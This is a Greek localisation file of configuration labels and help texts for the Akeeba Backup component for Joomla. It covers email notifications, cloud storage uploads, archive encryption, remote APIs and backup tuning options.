COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_SMART_DESCRIPTION="Εξισορροπεί έξυπνα την ταχύτητα σάρωσης και την αποφυγή λήξης χρονικού ορίου"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_SMART_TITLE="Έξυπνος σαρωτής"
COM_AKEEBABACKUP_CONFIG_ERR_DECRYPTION="Αδυναμία αποκρυπτογράφησης ρυθμίσεων. Ο διακομιστής σας δεν υποστηρίζει κρυπτογράφηση ρυθμίσεων ή το αρχείο κλειδιού κρυπτογράφησης έχει τροποποιηθεί ή διαγραφεί."
COM_AKEEBABACKUP_CONFIG_EXTENDEDINSERTS_DESCRIPTION="Εάν επιλεγεί, το dump βάσης δεδομένων θα αποτελείται από εκτεταμένες εντολές INSERT, δηλ. μία μόνο εντολή για την επαναφορά πολλών γραμμών δεδομένων. Συνιστάται ανεπιφύλακτα να διατηρείτε αυτή την επιλογή ενεργοποιημένη, καθώς θα επιταχύνει τη διαδικασία επαναφοράς και παρακάμπτει τα όρια ποσόλογιου ερωτημάτων σε περιοριστικούς κεντρικούς κόμβους."
COM_AKEEBABACKUP_CONFIG_EXTENDEDINSERTS_TITLE="Δημιουργία εκτεταμένων INSERT"

COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_SEPARATOR="<strong>Έλεγχος για αποτυχημένες μεταφορτώσεις</strong>"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILADDRESS_LABEL="Διεύθυνση Email Αποτυχημένης Μεταφόρτωσης"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILADDRESS_DESC="Αποστολή email αποτυχίας μεταφόρτωσης σε αυτή τη διεύθυνση. Αφήστε κενό για αποστολή email σε όλους τους Super Users."
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILSUBJECT_LABEL="Θέμα Email Αποτυχημένης Μεταφόρτωσης"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILSUBJECT_DESC="Το θέμα για τα email που σας ειδοποιούν για αποτυχημένες μεταφορτώσεις. Αφήστε κενό για χρήση της προεπιλογής. Μπορείτε να χρησιμοποιήσετε όλες τις μεταβλητές του Akeeba Backup που μπορείτε να χρησιμοποιήσετε για την ονομασία αρχείων αντιγράφου ασφαλείας, π.χ. [HOST] και [DATE]"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILBODY_LABEL="Κείμενο Email Αποτυχημένης Μεταφόρτωσης"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILBODY_DESC="Αφήστε κενό για χρήση της προεπιλογής. Μπορείτε να χρησιμοποιήσετε όλες τις μεταβλητές του Akeeba Backup που μπορείτε να χρησιμοποιήσετε για την ονομασία αρχείων αντιγράφου ασφαλείας, π.χ. [HOST] και [DATE]."

COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILADDRESS_DESC="Αποστολή email σε αυτή τη διεύθυνση (αφήστε κενό για αποστολή email σε όλους τους Super Users)"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILADDRESS_LABEL="Διεύθυνση email"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILBODY_DESC="Αφήστε κενό για χρήση της προεπιλογής. Μπορείτε να χρησιμοποιήσετε όλες τις μεταβλητές του Akeeba Backup που μπορείτε να χρησιμοποιήσετε για την ονομασία αρχείων αντιγράφου ασφαλείας, π.χ. [HOST] και [DATE]."
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILBODY_LABEL="Κείμενο Email"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILSUBJECT_DESC="Αφήστε κενό για χρήση της προεπιλογής. Μπορείτε να χρησιμοποιήσετε όλες τις μεταβλητές του Akeeba Backup που μπορείτε να χρησιμοποιήσετε για την ονομασία αρχείων αντιγράφου ασφαλείας, π.χ. [HOST] και [DATE]"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILSUBJECT_LABEL="Θέμα Email"
COM_AKEEBABACKUP_CONFIG_FAILURE_FEBENABLE_DESC="Επιτρέπει τον έλεγχο για αποτυχημένα αντίγραφα ασφαλείας χρησιμοποιώντας ένα URL χρονοπρογραμματισμού από το προσκήνιο. Θυμηθείτε να μεταβείτε στο Akeeba Backup, κάντε κλικ στις Επιλογές, στη συνέχεια στην καρτέλα Προσκήνιο. Ορίστε «Ενεργοποίηση Legacy Front-end Backup API (απομακρυσμένες εργασίες CRON)» σε Ναι για να ενεργοποιήσετε αυτή τη λειτουργία."
COM_AKEEBABACKUP_CONFIG_FAILURE_FEBENABLE_LABEL="Ενεργοποίηση ελέγχου αποτυχημένων αντιγράφων ασφαλείας από το προσκήνιο"

COM_AKEEBABACKUP_CONFIG_FAILURE_TIMEOUT_DESC="Ένα αντίγραφο ασφαλείας θα θεωρείται κολλημένο (αποτυχημένο) μετά από αυτόν τον αριθμό δευτερολέπτων αδράνειας.<br/>ΜΗΝ ΑΛΛΑΞΕΤΕ ΑΥΤΗ ΤΗΝ ΤΙΜΗ ΑΝ ΔΕΝ ΞΕΡΕΤΕ ΤΙ ΚΑΝΕΤΕ!"
COM_AKEEBABACKUP_CONFIG_FAILURE_TIMEOUT_LABEL="Χρονικό όριο κολλημένου αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_CONFIG_FEEMAILBODY_DESC="Αφήστε κενό για χρήση της προεπιλογής. Μπορείτε να χρησιμοποιήσετε όλες τις μεταβλητές του Akeeba Backup που μπορείτε να χρησιμοποιήσετε για την ονομασία αρχείων αντιγράφου ασφαλείας, π.χ. [HOST] και [DATE]. Μπορείτε επίσης να χρησιμοποιήσετε [PROFILENUMBER] για τον αριθμό του τρέχοντος προφίλ, [PROFILENAME] για το όνομα του τρέχοντος προφίλ, [PARTCOUNT] για τον αριθμό των συνολικών τμημάτων αρχείου αντιγράφου ασφαλείας, [FILELIST] για λίστα τμημάτων αρχείου αντιγράφου ασφαλείας και [REMOTESTATUS] για ένδειξη εάν η μεταφόρτωση στην απομακρυσμένη αποθήκευση ολοκληρώθηκε επιτυχώς."
COM_AKEEBABACKUP_CONFIG_FEEMAILBODY_LABEL="Κείμενο Email"
COM_AKEEBABACKUP_CONFIG_FEEMAILSUBJECT_DESC="Αφήστε κενό για χρήση της προεπιλογής. Μπορείτε να χρησιμοποιήσετε όλες τις μεταβλητές του Akeeba Backup που μπορείτε να χρησιμοποιήσετε για την ονομασία αρχείων αντιγράφου ασφαλείας, π.χ. [HOST] και [DATE]"
COM_AKEEBABACKUP_CONFIG_FEEMAILSUBJECT_LABEL="Θέμα Email"
COM_AKEEBABACKUP_CONFIG_FORCEDBACKUPTZ_DEFAULT="Προεπιλεγμένη συμπεριφορά Joomla!"
COM_AKEEBABACKUP_CONFIG_FORCEDBACKUPTZ_DESC="Η ημερομηνία και ώρα αντιγράφου ασφαλείας -όπως καταγράφεται στο όνομα αρχείου, την προεπιλεγμένη περιγραφή και τα email- θα εκφράζεται σε αυτή τη ζώνη ώρας. Αυτή η επιλογή επηρεάζει όλες τις προελεύσεις αντιγράφου ασφαλείας, δηλ. όλα τα αντίγραφα ασφαλείας, ανεξάρτητα από τον τρόπο λήψης τους (μέσω του ίδιου του Akeeba Backup, του απομακρυσμένου JSON API κ.λπ.)."
COM_AKEEBABACKUP_CONFIG_FORCEDBACKUPTZ_LABEL="Ζώνη ώρας αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_CONFIG_FRONTENDEMAIL_DESC="Αποστολή email ειδοποίησης μετά τη λήψη αντιγράφου ασφαλείας με τη λειτουργία Front-end Backup (Legacy API) ή JSON API."
COM_AKEEBABACKUP_CONFIG_FRONTENDEMAIL_LABEL="Email κατά την ολοκλήρωση αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_ALWAYS="Πάντα"
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_DESC="Πότε να αποστέλλεται το email κατά την ολοκλήρωση αντιγράφου ασφαλείας; «Πάντα» σημαίνει κάθε φορά που ολοκληρώνεται ένα αντίγραφο ασφαλείας. «Αποτυχία Μεταφόρτωσης» σημαίνει ότι το email αποστέλλεται μόνο εάν το αντίγραφο ασφαλείας είναι πλήρες αλλά η μεταφόρτωση στην απομακρυσμένη αποθήκευση δεν ολοκληρώθηκε επιτυχώς. Εάν αποτύχει το αντίγραφο ασφαλείας, δεν μπορεί να αποσταλεί email από αυτή τη λειτουργία· ελέγξτε τη σελίδα Προγραμματισμός Αυτόματων Αντιγράφων Ασφαλείας για πληροφορίες σχετικά με τη λήψη email για αποτυχημένα αντίγραφα ασφαλείας."
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_FAILEDUPLOAD="Αποτυχία Μεταφόρτωσης"
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_LABEL="Πότε να αποστέλλεται το email"
COM_AKEEBABACKUP_CONFIG_FRONTEND_HEADER_DESC="<strong>Αυτές οι επιλογές ισχύουν μόνο για το Akeeba Backup Professional</strong>. Ελέγχουν τις επιλογές απομακρυσμένων και προγραμματισμένων λειτουργιών για το Akeeba Backup. Για περισσότερες πληροφορίες σχετικά με τον προγραμματισμό αντιγράφων ασφαλείας, ελέγξτε τη σελίδα Πληροφορίες Προγραμματισμού στο Akeeba Backup Professional ή την τεκμηρίωσή μας."
COM_AKEEBABACKUP_CONFIG_FRONTEND_HEADER_LABEL="Αντίγραφο ασφαλείας από το προσκήνιο"
COM_AKEEBABACKUP_CONFIG_FTPTEST_BADPREFIX="ΔΕΝ πρέπει να προσθέτετε το πρόθεμα ftp:// στον κεντρικό κόμβο FTP. Αφαιρέστε το πρόθεμα ftp:// και δοκιμάστε ξανά."
COM_AKEEBABACKUP_CONFIG_FTPTEST_NOUPLOAD="Το Akeeba Backup μπόρεσε να συνδεθεί στον διακομιστή σας, αλλά δεν μπόρεσε να μεταφορτώσει ένα αρχείο δοκιμής. Η μεταφόρτωση αντιγράφου ασφαλείας ενδέχεται να αποτύχει."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_ACCESSTOKEN_DESCRIPTION="Συμπληρώνεται αυτόματα όταν ολοκληρώσετε το βήμα ταυτοποίησης 1 παραπάνω. Εάν συνδέετε άλλον ιστότοπο στον ίδιο λογαριασμό Google Drive, ΜΗΝ αντιγράψετε το access token και ΜΗΝ εκτελέσετε την ταυτοποίηση. Αντ' αυτού, απλώς αντιγράψτε το Refresh Token από τον προηγούμενο ιστότοπο σε αυτόν."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_ACCESSTOKEN_TITLE="Access Token"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_DIRECTORY_DESCRIPTION="Ο κατάλογος εντός του Google Drive για αποθήκευση των αρχείων αντιγράφου ασφαλείας. Παρακαλώ χρησιμοποιείτε καθέτους. Σωστό: some/thing. Λάθος: some\\thing. Μία μόνο κάθετος σημαίνει ότι τα αρχεία θα αποθηκευτούν στο ριζικό φάκελο της μονάδας δίσκου. ΔΙΑΒΑΣΤΕ ΤΗΝ ΤΕΚΜΗΡΙΩΣΗ: Τα μονοπάτια στο Google Drive είναι ασαφή!"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_DIRECTORY_TITLE="Κατάλογος"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_REFRESHTOKEN_TITLE="Refresh Token"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_REFRESHTEAMDRIVES_TITLE="Επαναφόρτωση λίστας μονάδων δίσκου"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_TEAMDRIVE_DESCRIPTION="Ποιο Google Drive θέλετε να αποθηκεύονται τα αρχεία σας. Πρέπει να ολοκληρώσετε την ταυτοποίηση πριν συμπληρωθεί αυτή η λίστα. Έχει νόημα μόνο όταν έχετε πρόσβαση σε Google Team Drives (π.χ. χρήστες επιχειρηματικού ή εταιρικού πλάνου G Suite). Εάν δεν είστε σίγουροι, χρησιμοποιήστε την επιλογή «Google Drive (προσωπικό)»."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_TEAMDRIVE_OPT_PERSONAL="Google Drive (προσωπικό)"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_TEAMDRIVE_TITLE="Μονάδα δίσκου"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_UPLOADTOSHAREDWITHME_TITLE="Μεταφόρτωση σε φακέλους «Κοινοποιήθηκε μαζί μου»"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_UPLOADTOSHAREDWITHME_DESCRIPTION="Όταν είναι ενεργοποιημένο, το Akeeba Backup θα αναζητά φακέλους στη συλλογή «Κοινοποιήθηκε μαζί μου» πριν αναζητήσει φάκελο με το ίδιο όνομα στη μονάδα δίσκου σας. Αυτό είναι πολύ πιο αργό και μπορεί να οδηγήσει σε μεταφόρτωση στον λάθος φάκελο εάν πολλοί κοινόχρηστοι φάκελοι με το ίδιο όνομα υπάρχουν στον λογαριασμό Google Drive σας."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEACCESSKEY_DESCRIPTION="Το Access Key του Google Storage, διαθέσιμο στο εργαλείο διαχείρισης κλειδιών Google Cloud Storage (https://code.google.com/apis/console#:storage:legacy)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEACCESSKEY_TITLE="Access Key"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEBUCKET_DESCRIPTION="Το όνομα του κάδου Google Storage. Βεβαιωθείτε ότι πληκτρολογείται όπως εμφανίζεται στην εφαρμογή ιστού περιήγησης Google Cloud Storage (https://sandbox.google.com/storage)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEBUCKET_TITLE="Κάδος"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEDIRECTORY_DESCRIPTION="Ο κατάλογος εντός του κάδου σας όπου θα αποθηκεύονται τα αρχεία αντιγράφου ασφαλείας. Αφήστε κενό για αποθήκευση αρχείων στο ριζικό κατάλογο του κάδου."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEDIRECTORY_TITLE="Κατάλογος"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEJSON_CREDS_DESC="Επικολλήστε εδώ τα περιεχόμενα του αρχείου διαπιστευτηρίων JSON που παρήγαγε το Google Cloud Console κατά τη ρύθμιση του Λογαριασμού Υπηρεσίας για το λογισμικό αντιγράφου ασφαλείας. Θυμηθείτε να συμπεριλάβετε τα άγκιστρα στην αρχή και στο τέλος του κειμένου."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEJSON_CREDS_TITLE="Περιεχόμενα του googlestorage.json (διαβάστε την τεκμηρίωση)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGELOWERCASE_DESCRIPTION="Εάν ενεργοποιηθεί, το Akeeba Backup θα προσπαθήσει να αλλάξει το όνομα κάδου σε όλα πεζά γράμματα, δηλ. το MyBucket θα μετατραπεί σε mybucket. Εάν έχετε δημιουργήσει κάδο με κεφαλαία γράμματα, π.χ. MyNewBucket, αποεπιλέξτε αυτή την επιλογή και βεβαιωθείτε ότι το όνομα κάδου είναι γραμμένο ακριβώς όπως εμφανίζεται στην εφαρμογή ιστού περιήγησης Google Cloud Storage (https://sandbox.google.com/storage)."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGELOWERCASE_TITLE="Όνομα κάδου σε πεζά"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGESECRETKEY_DESCRIPTION="Το Secret Key του Google Storage, διαθέσιμο στο εργαλείο διαχείρισης κλειδιών Google Cloud Storage (https://code.google.com/apis/console#:storage:legacy)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGESECRETKEY_TITLE="Μυστικό κλειδί"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEUSESSL_DESCRIPTION="Εάν ενεργοποιηθεί, θα χρησιμοποιείται ασφαλής σύνδεση (HTTPS) κατά τη μεταφόρτωση των αρχείων σας. Ενώ αυξάνει την ασφάλεια των μεταφερόμενων δεδομένων, αυξάνει επίσης την πιθανότητα αποτυχίας αντιγράφου ασφαλείας λόγω λήξης χρονικού ορίου."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEUSESSL_TITLE="Χρήση SSL"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_COLDLINE="Αποθήκευση Coldline"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_DESCRIPTION="Αλλαγή της κλάσης αποθήκευσης των μεταφορτωμένων αρχείων backup. Το «Καμία» σημαίνει ότι τα αρχεία θα αποθηκευτούν με την προεπιλεγμένη κλάση αποθήκευσης που καθορίζεται στον κάδο σας. Σημειώστε ότι οι επιλογές εκτός της Standard ενδέχεται να είναι φθηνότερες για αποθήκευση, αλλά μπορεί να επιφέρουν επιπλέον χρεώσεις εάν τα κατεβάσετε ή τα διαγράψετε. Συμβουλευτείτε τη Google για πληροφορίες τιμολόγησης."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_NEARLINE="Αποθήκευση Nearline"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_NONE="Καμία (αφήστε τον κάδο να αποφασίσει)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_STANDARD="Τυπική Αποθήκευση"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_TITLE="Κλάση Αποθήκευσης"
COM_AKEEBABACKUP_CONFIG_HEADER_BASIC="Βασική Διαμόρφωση"
COM_AKEEBABACKUP_CONFIG_HEADER_CONFWIZ="Να διαμορφωθεί αυτόματα το Akeeba Backup;"
COM_AKEEBABACKUP_CONFIG_HEADER_OPTIONALFILTERS="Προαιρετικά φίλτρα"
COM_AKEEBABACKUP_CONFIG_HEADER_QUOTA="Διαχείριση ποσοστώσεων"
COM_AKEEBABACKUP_CONFIG_HEADER_TUNING="Λεπτομερής ρύθμιση"
COM_AKEEBABACKUP_CONFIG_INSTALLER_DESCRIPTION="Κατά την εκτέλεση πλήρους backup ιστότοπου, το Akeeba Backup ενσωματώνει το σενάριο επαναφοράς που ορίζεται εδώ στο αρχείο. Αυτό επιτρέπει την επαναφορά του ιστότοπού σας από μηδενική βάση, χωρίς να χρειάζεται να εγκαταστήσετε το CMS σας ή το Akeeba Backup, ακόμα και όταν ο ιστότοπος ή ο διακομιστής σας έχει καταστραφεί εντελώς"
COM_AKEEBABACKUP_CONFIG_INSTALLER_TITLE="Ενσωματωμένο σενάριο επαναφοράς"
COM_AKEEBABACKUP_CONFIG_JPS_KEY_DESCRIPTION="Αυτό το κλειδί θα χρησιμοποιηθεί για την κρυπτογράφηση των περιεχομένων του αρχείου σας. Το κλειδί κάνει διάκριση πεζών-κεφαλαίων, δηλ. τα ABC, abc και Abc είναι τρεις διαφορετικοί κωδικοί. Κρατήστε αντίγραφο του κωδικού σε ασφαλές μέρος! Εάν τον χάσετε δεν υπάρχει τρόπος ανάκτησής του."
COM_AKEEBABACKUP_CONFIG_JPS_KEY_TITLE="Κλειδί κρυπτογράφησης"
COM_AKEEBABACKUP_CONFIG_JPS_PBKDF2USESTATICSALT_DESCRIPTION="Όταν είναι ενεργοποιημένο (προεπιλογή), ο κωδικός σας επεκτείνεται σε κρυπτογραφικό κλειδί που χρησιμοποιείται σε όλο το αρχείο. Αυτό είναι γρήγορο αλλά στην εξαιρετικά απίθανη περίπτωση που ένας εισβολέας με άφθονους πόρους καταφέρει να ανακατασκευάσει το κρυπτογραφικό κλειδί από ένα κρυπτογραφημένο μπλοκ στο αρχείο —χωρίς να χρησιμοποιήσει brute force στον κωδικό— μπορεί να αποκρυπτογραφήσει ολόκληρο το αρχείο backup. Όταν είναι απενεργοποιημένο, παράγεται διαφορετικό κρυπτογραφικό κλειδί από τον κωδικό σας σε κάθε κρυπτογραφημένο μπλοκ, που είναι ΠΟΛΥ πιο αργό αλλά σας προστατεύει από αυτόν τον τύπο επίθεσης, απαιτώντας από τον εισβολέα να χρησιμοποιήσει brute force στον κωδικό."
COM_AKEEBABACKUP_CONFIG_JPS_PBKDF2USESTATICSALT_TITLE="Επέκταση κλειδιού σε επίπεδο αρχείου"
COM_AKEEBABACKUP_CONFIG_JSONAPI_ENABLED_DESC="Το JSON API του Akeeba Backup σάς επιτρέπει να λαμβάνετε και να διαχειρίζεστε αντίγραφα ασφαλείας, καθώς και να διαχειρίζεστε τις επιλογές του Akeeba Backup εξ αποστάσεως. Πρέπει να ενεργοποιήσετε αυτή την επιλογή εάν σχεδιάζετε να λαμβάνετε, κατεβάζετε ή διαχειρίζεστε αντίγραφα ασφαλείας π.χ. με το Akeeba Remote CLI, Akeeba UNiTE και υπηρεσίες προγραμματισμού backup."
COM_AKEEBABACKUP_CONFIG_JSONAPI_ENABLED_LABEL="Ενεργοποίηση JSON API (απομακρυσμένο backup)"
COM_AKEEBABACKUP_CONFIG_LARGEDIRTHRESHOLD_DESCRIPTION="Όταν ένας κατάλογος περιέχει περισσότερα από αυτόν τον αριθμό αρχείων ή καταλόγων θεωρείται «μεγάλος». Ως εκ τούτου, το Akeeba Backup θα προσπαθήσει να τον επαναξεπεράσει στο επόμενο βήμα για να αποφύγει λήξεις χρονικού ορίου backup. Μια πολύ μικρή τιμή θα προκαλέσει σημαντική επιβράδυνση του backup. Αυξήστε —εκτός αν λαμβάνετε σφάλματα λήξης χρονικού ορίου— για να επιταχύνετε το backup."
COM_AKEEBABACKUP_CONFIG_LARGEDIRTHRESHOLD_TITLE="Όριο μεγάλου καταλόγου"
COM_AKEEBABACKUP_CONFIG_LARGEFILE_DESCRIPTION="Αρχεία μεγαλύτερα από αυτό το όριο θα συμπιέζονται στο δικό τους βήμα για να αποφευχθεί η πιθανότητα λήξης χρονικού ορίου. Τιμές μεταξύ 2 και 10Mb λειτουργούν καλύτερα στους περισσότερους διακομιστές."
COM_AKEEBABACKUP_CONFIG_LARGEFILE_TITLE="Όριο μεγάλου αρχείου"
COM_AKEEBABACKUP_CONFIG_LARGE_DIRTHRESHOLD_DESCRIPTION="Πόσοι κατάλογοι να σαρώνονται σε κάθε βήμα. Συνιστώμενη ρύθμιση: 50. Μεγαλύτερες τιμές κάνουν το backup ελαφρώς πιο γρήγορο αλλά πιο πιθανό να λήξει το χρονικό όριο."
COM_AKEEBABACKUP_CONFIG_LARGE_DIRTHRESHOLD_TITLE="Μέγεθος παρτίδας σάρωσης καταλόγων"
COM_AKEEBABACKUP_CONFIG_LARGE_FILESTHRESHOLD_DESCRIPTION="Πόσα αρχεία να σαρώνονται και να συμπιέζονται σε κάθε βήμα. Συνιστώμενη ρύθμιση: 100. Μεγαλύτερες τιμές κάνουν το backup ελαφρώς πιο γρήγορο αλλά πιο πιθανό να λήξει το χρονικό όριο ή να εξαντληθεί η μνήμη."
COM_AKEEBABACKUP_CONFIG_LARGE_FILESTHRESHOLD_TITLE="Μέγεθος παρτίδας σάρωσης αρχείων"
COM_AKEEBABACKUP_CONFIG_LBL_CONFWIZ_AFTER="Αφού το Akeeba Backup ολοκληρώσει τη διαμόρφωσή του μπορείτε να κάνετε backup ή να προσαρμόσετε χειροκίνητα τη ρύθμισή του."
COM_AKEEBABACKUP_CONFIG_LBL_CONFWIZ_INTRO="Φαίνεται ότι δεν έχετε ρυθμίσει ακόμα το Akeeba Backup. Κάντε κλικ στο κουμπί Οδηγός Διαμόρφωσης παρακάτω για να ρυθμιστεί αυτόματα."
COM_AKEEBABACKUP_CONFIG_LEGACYAPI_ENABLED_DESC="Το Legacy Front-end Backup API σάς επιτρέπει να πραγματοποιείτε προγραμματισμένα αντίγραφα ασφαλείας χρησιμοποιώντας εργαλεία πρόσβασης URL όπως wget, curl. Πρέπει να ενεργοποιήσετε αυτή την επιλογή εάν σχεδιάζετε να λαμβάνετε αντίγραφα ασφαλείας με τον διακομιστή CRON του host σας χρησιμοποιώντας wget ή curl, ή όταν σχεδιάζετε να χρησιμοποιήσετε υπηρεσία CRON τρίτου μέρους όπως WebCRON.org. Όποτε είναι δυνατόν, συνιστούμε αντί αυτού να χρησιμοποιείτε το Native CLI CRON script ή το Akeeba Backup JSON API ως πολύ πιο ασφαλείς επιλογές."
COM_AKEEBABACKUP_CONFIG_LEGACYAPI_ENABLED_LABEL="Ενεργοποίηση Legacy Front-end Backup API (απομακρυσμένες εργασίες CRON)"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_DEBUG="Όλες οι Πληροφορίες και Αποσφαλμάτωση"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_DESCRIPTION="Αυτή η επιλογή καθορίζει πόσο λεπτομερές θα είναι το αρχείο καταγραφής backup."
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_ERROR="Μόνο σφάλματα"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_INFO="Όλες οι Πληροφορίες"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_NONE="Καμία"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_TITLE="Επίπεδο Καταγραφής"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_WARNING="Σφάλματα και Προειδοποιήσεις"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_ENABLE_DESCRIPTION="Αυτόματη κατάργηση παλαιών αντιγράφων ασφαλείας βάσει της ημέρας που ελήφθησαν. ΠΡΟΕΙΔΟΠΟΙΗΣΗ: Η ΕΝΕΡΓΟΠΟΙΗΣΗ ΑΥΤΗΣ ΘΑ ΠΡΟΚΑΛΕΣΕΙ ΤΗΝ ΑΓΝΟΗΣΗ ΟΛΩΝ ΤΩΝ ΑΛΛΩΝ ΡΥΘΜΙΣΕΩΝ ΠΟΣΟΣΤΩΣΗΣ (ΠΛΗΘΟΣ ΚΑΙ ΜΕΓΕΘΟΣ)."
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_ENABLE_TITLE="Ενεργοποίηση ποσοστώσεων μέγιστης ηλικίας backup"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_KEEPDAY_DESCRIPTION="Τα αντίγραφα ασφαλείας που λαμβάνονται αυτή την ημέρα του μήνα δεν θα διαγραφούν. Αφήστε την προεπιλεγμένη ρύθμιση, 1, για να διατηρείτε πάντα τα αντίγραφα ασφαλείας που λαμβάνονται την 1η ημέρα του μήνα"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_KEEPDAY_TITLE="Να μην διαγράφονται τα αντίγραφα ασφαλείας που λαμβάνονται αυτή την ημέρα του μήνα"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_MAXDAYS_DESCRIPTION="Τα αντίγραφα ασφαλείας παλαιότερα από αυτόν τον αριθμό ημερών θα διαγράφονται αυτόματα. Αφήστε την προεπιλεγμένη ρύθμιση, 31, για να διατηρείτε όλα τα αντίγραφα ασφαλείας του τελευταίου μήνα"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_MAXDAYS_TITLE="Μέγιστη ηλικία backup, σε ημέρες"
COM_AKEEBABACKUP_CONFIG_MAXEXECTIME_DESCRIPTION="Κάθε βήμα του Akeeba Backup θα διαρκεί <em>το πολύ</em> όσο ορίζεται εδώ. Χρησιμοποιήστε τιμή μικρότερη από τον μέγιστο χρόνο εκτέλεσης PHP. Συνήθως, η ρύθμιση σε 10 δευτερόλεπτα είναι επαρκής, εκτός σε πολύ περιοριστικούς διακομιστές.<strong>Συμβουλή</strong>: Επιλέξτε Προσαρμοσμένο και πληκτρολογήστε την επιθυμητή τιμή αν δεν υπάρχει στη λίστα."
COM_AKEEBABACKUP_CONFIG_MAXEXECTIME_TITLE="Μέγιστος χρόνος εκτέλεσης"
COM_AKEEBABACKUP_CONFIG_MAXPACKET_DESCRIPTION="Το μέγιστο μέγεθος, σε bytes, κάθε εκτεταμένης εντολής INSERT. Συνιστάται να το διατηρείτε αρκετά χαμηλό ώστε η MySQL να μην εμφανίζει σφάλμα κατά την επαναφορά του dump βάσης δεδομένων σας."
COM_AKEEBABACKUP_CONFIG_MAXPACKET_TITLE="Μέγιστο μέγεθος πακέτου για εκτεταμένα INSERT"
COM_AKEEBABACKUP_CONFIG_MINEXECTIME_DESCRIPTION="Κάθε βήμα του Akeeba Backup θα διαρκεί <em>τουλάχιστον</em> όσο ορίζεται εδώ. Αυτό απαιτείται για την παράκαμψη λύσεων ασφαλείας anti-DoS. Εάν λαμβάνετε σφάλματα 403 Forbidden ή AJAX, αυξήστε αυτή τη ρύθμιση. Η τιμή 0 απενεργοποιεί αυτή τη λειτουργία.<br/><br/><strong>Συμβουλή</strong>: Επιλέξτε Προσαρμοσμένο και πληκτρολογήστε την επιθυμητή τιμή αν δεν υπάρχει στη λίστα."
COM_AKEEBABACKUP_CONFIG_MINEXECTIME_TITLE="Ελάχιστος χρόνος εκτέλεσης"
COM_AKEEBABACKUP_CONFIG_MYSQL5FEATURES_ENABLE_DESCRIPTION="Όταν είναι ενεργοποιημένο, το Akeeba Backup θα προσπαθήσει να εξάγει αυτές τις προηγμένες οντότητες βάσης δεδομένων MySQL 5. Εάν το backup κολλήσει κατά τη φάση backup, ίσως χρειαστεί να το απενεργοποιήσετε."
COM_AKEEBABACKUP_CONFIG_MYSQL5FEATURES_ENABLE_TITLE="Εξαγωγή PROCEDURE, FUNCTION και TRIGGER"
